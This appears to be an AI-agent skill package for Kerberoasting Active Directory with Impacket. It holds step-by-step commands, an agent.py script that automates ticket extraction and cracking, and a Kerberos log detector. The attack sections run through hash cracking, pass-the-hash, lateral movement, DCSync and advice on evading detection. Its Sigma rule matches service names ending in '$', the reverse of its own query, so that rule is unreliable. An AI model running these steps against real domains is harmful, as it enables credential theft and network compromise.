npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Overview
Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.
When to Use
- When performing authorized security testing that involves exploiting kerberoasting with impacket
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Valid domain credentials (any domain user can request TGS tickets)
- Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
- Impacket installed (
pip install impacket) - Hashcat or John the Ripper for offline cracking
- Wordlist (e.g., rockyou.txt, SecLists)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1110.002 | Brute Force: Password Cracking | Credential Access |
Step 1: Enumerate Kerberoastable Accounts
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# Output example:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10Step 2: Request TGS Tickets
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txtStep 3: Crack TGS Tickets Offline
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!Step 4: Validate and Use Cracked Credentials
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlmAlternative Tools
Rubeus (Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txtPowerView (PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txtTargeted Kerberoasting
High-value targets for Kerberoasting:
| Account Type | Why | Risk |
|---|---|---|
| Service accounts in Domain Admins | Direct path to domain compromise | Critical |
| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |
| Exchange service accounts | Access to all email | High |
| Accounts with AdminCount=1 | Previously/currently privileged | High |
| Accounts with old passwords | More likely to use weak passwords | Medium |
Detection
Windows Event Logs
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPsSigma Rule
title: Potential Kerberoasting Activity
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003Defensive Recommendations
- Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
- Set strong passwords (25+ chars) on all service accounts
- Enable AES-only encryption - Disable RC4 via GPO
- Monitor Event ID 4769 for RC4 TGS requests
- Implement Managed Service Accounts where gMSA is not feasible
- Regular audits - Run BloodHound to identify Kerberoastable accounts
- Protected Users group - Add sensitive service accounts
- Honeypot SPNs - Create decoy accounts with SPNs to detect attacks
References
- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md2.2 KB
API Reference: Kerberoasting with Impacket
MITRE ATT&CK T1558.003 — Kerberoasting
Attack Flow
- Authenticate to AD with domain user credentials
- Query LDAP for accounts with SPNs
- Request TGS tickets for those SPNs
- Extract ticket hashes
- Crack offline with wordlist
Impacket — GetUserSPNs.py
Enumerate SPN Accounts
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1Request TGS Tickets
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \
-request -outputfile kerberoast.txtWith NTLM Hash
GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -requestOutput Format (Hashcat mode 13100)
$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$<hash>Rubeus — Windows Kerberoasting
Kerberoast All SPNs
Rubeus.exe kerberoast /outfile:hashes.txtTarget Specific User
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txtRC4 Only (weaker, easier to crack)
Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txtHash Cracking
Hashcat
# Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt wordlist.txt
# Kerberos 5 TGS-REP etype 17 (AES-128)
hashcat -m 19600 hashes.txt wordlist.txt
# Kerberos 5 TGS-REP etype 18 (AES-256)
hashcat -m 19700 hashes.txt wordlist.txtJohn the Ripper
john --wordlist=wordlist.txt hashes.txtPowerShell Enumeration
Find SPN Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName, PasswordLastSetRequest TGS (PowerView)
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object HashDetection
Event IDs
| Event | Description |
|---|---|
| 4769 | Kerberos Service Ticket Request |
| 4770 | Service Ticket Renewed |
Detection Query
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4
| where ServiceName !endswith "$"
| summarize count() by Account, ServiceNameRemediation
- Use Group Managed Service Accounts (gMSA)
- Set strong passwords (25+ characters) on SPN accounts
- Enable AES encryption for Kerberos (disable RC4)
- Monitor Event 4769 for anomalous TGS requests
standards.md2.2 KB
Standards and References: Kerberoasting with Impacket
MITRE ATT&CK Techniques
Primary Technique
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- Tactic: Credential Access (TA0006)
- Platforms: Windows
- Data Sources: Active Directory (Credential Request), Logon Session (Logon Session Metadata)
- Detection: MITRE DET0157
Related Techniques
- T1558 - Steal or Forge Kerberos Tickets (parent)
- T1558.004 - AS-REP Roasting
- T1558.001 - Golden Ticket
- T1558.002 - Silver Ticket
- T1087.002 - Account Discovery: Domain Account
- T1110.002 - Brute Force: Password Cracking
APT Groups Known to Use Kerberoasting
- APT29 (Cozy Bear / MITRE G0016)
- FIN7 (MITRE G0046)
- Wizard Spider (MITRE G0102)
- HAFNIUM (MITRE G0125)
- Sandworm Team (MITRE G0034)
NIST References
- NIST SP 800-53 Rev. 5 - IA-5: Authenticator Management (strong service account passwords)
- NIST SP 800-53 Rev. 5 - AC-6: Least Privilege (service account permissions)
- NIST SP 800-63B - Digital Identity Guidelines (password complexity)
- NIST SP 800-171 - 3.5.7: Store and transmit only cryptographically-protected passwords
Windows Security Events
| Event ID | Description | Relevance |
|---|---|---|
| 4769 | A Kerberos service ticket was requested | Primary detection (check Encryption Type) |
| 4768 | A Kerberos authentication ticket (TGT) was requested | Correlate with source of TGS requests |
| 4770 | A Kerberos service ticket was renewed | Renewal of Kerberoasted tickets |
| 4771 | Kerberos pre-authentication failed | Related: AS-REP Roasting detection |
Kerberos Encryption Types
| Etype Value | Algorithm | Crackable | Hashcat Mode |
|---|---|---|---|
| 0x17 (23) | RC4-HMAC | Fast cracking | 13100 |
| 0x11 (17) | AES128-CTS-HMAC-SHA1-96 | Slower cracking | 19600 |
| 0x12 (18) | AES256-CTS-HMAC-SHA1-96 | Slowest cracking | 19700 |
CIS Benchmarks
- CIS Microsoft Windows Server 2022 - 2.3.6.4: Network security: Configure encryption types for Kerberos
- CIS Active Directory - Service account management requirements
- CIS Controls v8 - Control 5.4: Restrict Administrator Privileges to Dedicated Accounts
workflows.md5.3 KB
Workflows: Kerberoasting with Impacket
Kerberoasting Attack Workflow
┌─────────────────────────────────────────────────────────────────┐
│ KERBEROASTING ATTACK WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. ENUMERATE SPN ACCOUNTS │
│ ├── GetUserSPNs.py (list mode, no -request) │
│ ├── Identify high-value targets (DA members, AdminCount) │
│ ├── Check password age (older = weaker) │
│ └── Prioritize targets │
│ │
│ 2. REQUEST TGS TICKETS │
│ ├── GetUserSPNs.py -request -outputfile hashes.txt │
│ ├── Target specific high-value accounts first │
│ ├── Request RC4 tickets if possible (faster cracking) │
│ └── OPSEC: Space out requests to avoid detection │
│ │
│ 3. OFFLINE CRACKING │
│ ├── hashcat -m 13100 (RC4) or -m 19700 (AES256) │
│ ├── Use quality wordlists (rockyou, SecLists) │
│ ├── Apply rules (best64, dive, OneRuleToRuleThemAll) │
│ └── Use GPU acceleration for faster results │
│ │
│ 4. VALIDATE CREDENTIALS │
│ ├── CrackMapExec SMB validation │
│ ├── Check access levels (local admin, domain admin) │
│ ├── Enumerate additional access paths │
│ └── Document findings │
│ │
│ 5. LEVERAGE ACCESS │
│ ├── If Domain Admin: DCSync / Golden Ticket │
│ ├── If Local Admin: Dump LSASS, pivot laterally │
│ ├── If standard user: Use for further enumeration │
│ └── Update BloodHound with newly owned accounts │
│ │
└─────────────────────────────────────────────────────────────────┘Target Prioritization Matrix
Priority Decision Tree
│
├── Is account in Domain Admins group?
│ └── YES → CRITICAL priority → Crack immediately
│
├── Is AdminCount = 1?
│ └── YES → HIGH priority → Currently or previously privileged
│
├── Password last set > 2 years ago?
│ └── YES → HIGH priority → Likely weak/legacy password
│
├── Is account AdminTo any computers?
│ └── YES → MEDIUM priority → Lateral movement opportunity
│
├── Account description contains password hint?
│ └── YES → HIGH priority → Common OPSEC failure
│
└── Standard service account
└── LOW priority → Crack opportunisticallyHashcat Command Reference
# Basic Kerberoasting crack (RC4)
hashcat -m 13100 hashes.txt wordlist.txt
# With rules
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
# Multiple wordlists with rules
hashcat -m 13100 hashes.txt wordlist1.txt wordlist2.txt \
-r rules/OneRuleToRuleThemAll.rule
# AES-256 cracking
hashcat -m 19700 hashes.txt wordlist.txt -r rules/best64.rule
# Brute force (8 chars)
hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a
# Show cracked passwords
hashcat -m 13100 hashes.txt --showDetection and Response Workflow
SOC DETECTION WORKFLOW
│
├── SIEM Alert: Multiple 4769 events with RC4 encryption
│ ├── Check source account - is it a service account?
│ │ └── NO → Potential Kerberoasting
│ ├── Check volume - more than 5 TGS requests in 5 minutes?
│ │ └── YES → High confidence Kerberoasting
│ └── Check encryption type - 0x17 (RC4)?
│ └── YES → Confirm Kerberoasting attempt
│
├── RESPONSE ACTIONS
│ ├── Identify source IP and user account
│ ├── Isolate source system if compromised
│ ├── Reset passwords on all targeted service accounts
│ ├── Check for lateral movement from source
│ └── Review service account permissions
│
└── POST-INCIDENT
├── Implement gMSA for targeted accounts
├── Disable RC4 encryption via GPO
├── Deploy Kerberoasting detection rule
└── Conduct AD security assessmentScripts 2
agent.py5.2 KB
#!/usr/bin/env python3
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""
import argparse
import json
import subprocess
from datetime import datetime, timezone
def run_getuserspns(domain, username, password, dc_ip, output_file=None):
"""Execute Impacket GetUserSPNs to extract service ticket hashes."""
cmd = [
"GetUserSPNs.py", f"{domain}/{username}:{password}",
"-dc-ip", dc_ip, "-request",
]
if output_file:
cmd.extend(["-outputfile", output_file])
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=60
)
return {"status": "success", "output": result[:2000]}
except subprocess.SubprocessError as e:
return {"status": "failed", "error": str(e)[:200]}
except FileNotFoundError:
return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}
def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
"""Enumerate SPN accounts via LDAP query."""
cmd = [
"GetUserSPNs.py", f"{domain}/{username}:{password}",
"-dc-ip", dc_ip,
]
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=30
)
accounts = []
for line in result.strip().splitlines():
if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
parts = line.split()
if len(parts) >= 3:
accounts.append({
"spn": parts[0],
"name": parts[1],
"memberof": parts[2] if len(parts) > 2 else "",
})
return accounts
except (subprocess.SubprocessError, FileNotFoundError):
return []
def crack_with_hashcat(hash_file, wordlist, rules=None):
"""Crack Kerberos TGS hashes with hashcat."""
cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
if rules:
cmd.extend(["-r", rules])
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=600
)
return {"status": "completed", "output": result[:1000]}
except subprocess.SubprocessError as e:
return {"status": "failed", "error": str(e)[:200]}
except FileNotFoundError:
return {"status": "failed", "error": "hashcat not found"}
def enumerate_powershell():
"""Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
ps_cmd = (
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
"ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
"| Select-Object SamAccountName,Enabled,PasswordLastSet,"
"@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
"| ConvertTo-Json"
)
try:
result = subprocess.check_output(
["powershell", "-NoProfile", "-Command", ps_cmd],
text=True, errors="replace", timeout=30
)
data = json.loads(result) if result.strip() else []
return data if isinstance(data, list) else [data]
except (subprocess.SubprocessError, json.JSONDecodeError):
return []
def main():
parser = argparse.ArgumentParser(
description="Kerberoasting with Impacket (authorized testing only)"
)
parser.add_argument("--domain", help="AD domain")
parser.add_argument("--username", help="Domain username")
parser.add_argument("--password", help="Domain password")
parser.add_argument("--dc-ip", help="Domain controller IP")
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
parser.add_argument("--request", action="store_true", help="Request TGS tickets")
parser.add_argument("--hash-file", help="Output file for hashes")
parser.add_argument("--crack", help="Wordlist for hash cracking")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Kerberoasting Agent (Impacket)")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
if args.enumerate:
if args.domain and args.username:
accounts = enumerate_spn_accounts_ldap(
args.domain, args.username, args.password or "", args.dc_ip or ""
)
else:
accounts = enumerate_powershell()
report["findings"]["spn_accounts"] = accounts
print(f"[*] SPN accounts found: {len(accounts)}")
if args.request and args.domain:
result = run_getuserspns(
args.domain, args.username or "", args.password or "",
args.dc_ip or "", args.hash_file
)
report["findings"]["ticket_request"] = result
print(f"[*] Ticket request: {result['status']}")
if args.crack and args.hash_file:
crack_result = crack_with_hashcat(args.hash_file, args.crack)
report["findings"]["cracking"] = crack_result
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
process.py12.0 KB
#!/usr/bin/env python3
"""
Kerberoasting Analysis and Detection Tool
Parses Kerberos TGS request logs (Event ID 4769) to detect potential
Kerberoasting activity and analyzes extracted hashes for weak passwords.
"""
import json
import os
import re
import csv
from datetime import datetime, timedelta
from collections import defaultdict
from dataclasses import dataclass, field
from typing import Optional
@dataclass
class TGSRequest:
"""Represents a Kerberos TGS ticket request (Event ID 4769)."""
timestamp: str
source_ip: str
source_user: str
target_service: str
encryption_type: str # 0x17=RC4, 0x11=AES128, 0x12=AES256
result_code: str
ticket_options: str = ""
@dataclass
class KerberoastTarget:
"""A user account vulnerable to Kerberoasting."""
username: str
spn: str
domain: str
password_last_set: str = ""
admin_count: bool = False
member_of: list = field(default_factory=list)
risk_score: int = 0
@dataclass
class KerberoastAlert:
"""Alert for detected Kerberoasting activity."""
severity: str
timestamp: str
source_ip: str
source_user: str
target_count: int
targets: list = field(default_factory=list)
encryption_types: list = field(default_factory=list)
description: str = ""
class KerberoastDetector:
"""Detect Kerberoasting activity from Windows Event Logs."""
# Detection thresholds
TGS_REQUEST_THRESHOLD = 5 # requests in window
TIME_WINDOW_SECONDS = 300 # 5 minutes
RC4_ETYPE = "0x17"
def __init__(self):
self.tgs_requests: list[TGSRequest] = []
self.alerts: list[KerberoastAlert] = []
self.targets: list[KerberoastTarget] = []
def parse_event_log(self, log_entries: list[dict]) -> None:
"""Parse Windows Event ID 4769 entries."""
for entry in log_entries:
if entry.get("EventID") != 4769:
continue
event_data = entry.get("EventData", {})
req = TGSRequest(
timestamp=entry.get("TimeCreated", ""),
source_ip=event_data.get("IpAddress", ""),
source_user=event_data.get("TargetUserName", ""),
target_service=event_data.get("ServiceName", ""),
encryption_type=event_data.get("TicketEncryptionType", ""),
result_code=event_data.get("Status", ""),
ticket_options=event_data.get("TicketOptions", ""),
)
self.tgs_requests.append(req)
def detect_kerberoasting(self) -> list[KerberoastAlert]:
"""Analyze TGS requests for Kerberoasting indicators."""
self.alerts = []
# Group requests by source user and time window
user_requests = defaultdict(list)
for req in self.tgs_requests:
user_requests[req.source_user].append(req)
for user, requests in user_requests.items():
# Sort by timestamp
requests.sort(key=lambda r: r.timestamp)
# Sliding window detection
for i, req in enumerate(requests):
window_reqs = []
try:
req_time = datetime.fromisoformat(req.timestamp.replace("Z", "+00:00"))
except (ValueError, AttributeError):
continue
for j in range(i, len(requests)):
try:
other_time = datetime.fromisoformat(
requests[j].timestamp.replace("Z", "+00:00")
)
except (ValueError, AttributeError):
continue
if (other_time - req_time).total_seconds() <= self.TIME_WINDOW_SECONDS:
window_reqs.append(requests[j])
else:
break
# Check threshold
if len(window_reqs) >= self.TGS_REQUEST_THRESHOLD:
rc4_reqs = [r for r in window_reqs if r.encryption_type == self.RC4_ETYPE]
unique_services = set(r.target_service for r in window_reqs)
severity = "critical" if len(rc4_reqs) > 0 else "high"
if len(unique_services) > 10:
severity = "critical"
alert = KerberoastAlert(
severity=severity,
timestamp=req.timestamp,
source_ip=req.source_ip,
source_user=user,
target_count=len(unique_services),
targets=list(unique_services),
encryption_types=list(set(r.encryption_type for r in window_reqs)),
description=(
f"User {user} from {req.source_ip} requested "
f"{len(window_reqs)} TGS tickets for {len(unique_services)} "
f"unique services within {self.TIME_WINDOW_SECONDS}s window. "
f"RC4 requests: {len(rc4_reqs)}/{len(window_reqs)}."
),
)
self.alerts.append(alert)
break # One alert per user
return self.alerts
def analyze_kerberoast_targets(self, targets: list[KerberoastTarget]) -> list[dict]:
"""Analyze and risk-score Kerberoastable accounts."""
self.targets = targets
scored_targets = []
for target in targets:
score = 0
risk_factors = []
# Check if privileged
if target.admin_count:
score += 40
risk_factors.append("AdminCount=1 (privileged account)")
privileged_groups = [
"domain admins", "enterprise admins", "schema admins",
"backup operators", "server operators", "account operators",
]
for group in target.member_of:
if group.lower() in privileged_groups:
score += 30
risk_factors.append(f"Member of {group}")
# Check password age
if target.password_last_set:
try:
pwd_date = datetime.fromisoformat(target.password_last_set)
age_days = (datetime.now() - pwd_date).days
if age_days > 730: # 2 years
score += 25
risk_factors.append(f"Password age: {age_days} days (>2 years)")
elif age_days > 365:
score += 15
risk_factors.append(f"Password age: {age_days} days (>1 year)")
elif age_days > 180:
score += 10
risk_factors.append(f"Password age: {age_days} days (>6 months)")
except ValueError:
pass
# Check SPN type
high_value_spns = ["MSSQLSvc", "HTTP", "exchangeMDB", "ldap"]
for spn_prefix in high_value_spns:
if target.spn.startswith(spn_prefix):
score += 10
risk_factors.append(f"High-value SPN type: {spn_prefix}")
break
target.risk_score = min(score, 100)
scored_targets.append({
"username": target.username,
"spn": target.spn,
"domain": target.domain,
"risk_score": target.risk_score,
"risk_level": (
"critical" if score >= 60
else "high" if score >= 40
else "medium" if score >= 20
else "low"
),
"risk_factors": risk_factors,
"password_last_set": target.password_last_set,
"admin_count": target.admin_count,
})
scored_targets.sort(key=lambda t: t["risk_score"], reverse=True)
return scored_targets
def generate_report(self) -> str:
"""Generate Kerberoasting analysis report."""
lines = []
lines.append("=" * 70)
lines.append("KERBEROASTING ANALYSIS REPORT")
lines.append(f"Generated: {datetime.now().isoformat()}")
lines.append("=" * 70)
# Detection results
if self.alerts:
lines.append(f"\nDETECTED KERBEROASTING ACTIVITY: {len(self.alerts)} alert(s)")
lines.append("-" * 70)
for i, alert in enumerate(self.alerts, 1):
lines.append(f"\n Alert #{i} [{alert.severity.upper()}]")
lines.append(f" Source: {alert.source_user} @ {alert.source_ip}")
lines.append(f" Time: {alert.timestamp}")
lines.append(f" Targets: {alert.target_count} services")
lines.append(f" Encryption: {', '.join(alert.encryption_types)}")
lines.append(f" Details: {alert.description}")
else:
lines.append("\nNo Kerberoasting activity detected in analyzed logs.")
# Target analysis
if self.targets:
lines.append(f"\nKERBEROASTABLE ACCOUNTS: {len(self.targets)}")
lines.append("-" * 70)
for target in sorted(self.targets, key=lambda t: t.risk_score, reverse=True):
level = (
"CRITICAL" if target.risk_score >= 60
else "HIGH" if target.risk_score >= 40
else "MEDIUM" if target.risk_score >= 20
else "LOW"
)
lines.append(
f" [{level}] {target.username} "
f"(Score: {target.risk_score}/100) "
f"SPN: {target.spn}"
)
lines.append("\nREMEDIATION RECOMMENDATIONS:")
lines.append("-" * 70)
lines.append(" 1. Convert service accounts to Group Managed Service Accounts (gMSA)")
lines.append(" 2. Enforce 25+ character passwords on remaining service accounts")
lines.append(" 3. Disable RC4 encryption via Group Policy")
lines.append(" 4. Add sensitive accounts to Protected Users group")
lines.append(" 5. Deploy SIEM rule for Event ID 4769 with RC4 encryption type")
lines.append(" 6. Create honeypot SPN accounts for early detection")
return "\n".join(lines)
def main():
"""Demonstrate Kerberoasting detection and analysis."""
detector = KerberoastDetector()
# Simulate Event ID 4769 logs (Kerberoasting pattern)
sample_events = []
base_time = datetime(2025, 1, 15, 10, 30, 0)
services = [
"MSSQLSvc/SQL01", "HTTP/WEB01", "HOST/BACKUP01",
"MSSQLSvc/SQL02", "exchangeMDB/EX01", "HTTP/APP01",
"ldap/DC02", "HOST/FILE01",
]
for i, svc in enumerate(services):
sample_events.append({
"EventID": 4769,
"TimeCreated": (base_time + timedelta(seconds=i * 5)).isoformat(),
"EventData": {
"TargetUserName": "jsmith",
"ServiceName": svc,
"IpAddress": "10.10.10.50",
"TicketEncryptionType": "0x17",
"Status": "0x0",
"TicketOptions": "0x40810000",
},
})
detector.parse_event_log(sample_events)
detector.detect_kerberoasting()
# Analyze Kerberoastable targets
targets = [
KerberoastTarget(
username="svc_sql", spn="MSSQLSvc/SQL01.corp.local:1433",
domain="corp.local", password_last_set="2022-06-15T10:00:00",
admin_count=True, member_of=["Domain Admins"],
),
KerberoastTarget(
username="svc_web", spn="HTTP/web01.corp.local",
domain="corp.local", password_last_set="2024-01-20T14:00:00",
admin_count=False, member_of=["Web Admins"],
),
KerberoastTarget(
username="svc_backup", spn="HOST/backup01.corp.local",
domain="corp.local", password_last_set="2021-03-01T08:00:00",
admin_count=True, member_of=["Backup Operators"],
),
]
detector.analyze_kerberoast_targets(targets)
print(detector.generate_report())
if __name__ == "__main__":
main()